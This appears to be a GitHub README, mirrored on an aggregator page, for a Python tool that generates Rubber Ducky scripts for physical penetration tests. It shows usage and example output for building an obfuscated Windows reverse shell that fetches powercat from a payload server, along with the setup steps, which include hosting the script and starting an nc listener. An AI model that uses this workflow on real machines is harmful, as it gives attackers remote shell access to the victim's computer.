Code Monkey home page Code Monkey logo

rubberquackscripting's Introduction

duckyScripting

Just my rubber ducky scripts and some wrappers.

help

$ python3 quack.py -h
usage: quack.py [-h] [-s] [-wr] [-lr] [-l LISTENER] [-pp PAYLOADPROVIDER]

Prepare rubber ducky scripts for physical engagments. Tool made by H4. Creds for powercat go to https://github.com/besimorhino/powercat

optional arguments:
  -h, --help            show this help message and exit
  -s, --setup           initial setup
  -wr, --windowsReverse
                        creating an obfuscated Windows reverse shell
  -lr, --linuxReverse   creating a Linux reverse shell (tested under Ubuntu 22.04.3)
  -l LISTENER, --listener LISTENER
                        IP and port of shell listener. Format: IP:PORT (needed for -wr option)
  -pp PAYLOADPROVIDER, --payloadProvider PAYLOADPROVIDER
                        server which provides the obfuscated powercat version. Format: IP:PORT (needed for -wr option)

example usage: python3 quack.py-wr -l 192.168.1.10:8001 -pp 192.168.1.10:80

setup

Start by running in setup mode to download every needed resource.

$ python3 quack.py --setup
[#] 1. Downloading powercat (https://github.com/besimorhino/powercat) for Windows reverse shell payload...

reverse shells

Windows

Example

python3 quack.py -wr -l 192.168.1.10:8001 -pp 192.168.1.10:80

[#] Selected payload: Windows reverse shell

[#] 1. Are all parameters correct?
[#]	shell listener IP: 192.168.1.10
[#]	shell listener PORT: 8001
[#]	payload provider IP: 192.168.1.10
[#]	payload provider PORT: 80
[#] Y/N? Y

[#] 2. Obfuscating powercat...

[#] 3. Creating ducky script payload...
[+] Ducky script payload wrote to generated_scripts/tojszwdbxnsoidwl_windows_reverse_shell.txt

[#] Before you use the ducky script perform the following steps.
[#]	1. Start a web server on 192.168.1.10 to provide the obfuscated powercat script:
[#]		- Copy tojszwdb.ps1 to 192.168.1.10
[#]		- In the same folder as tojszwdb.ps1 start a web server: python3 -m http.server 80
[#]	2. Start the shell listener on 192.168.1.10:
[#]		- Start nc -lvp 8001

[+] Good bye! Have fun with the ducky script.

rubberquackscripting's People

Contributors

rndinfosecguy avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.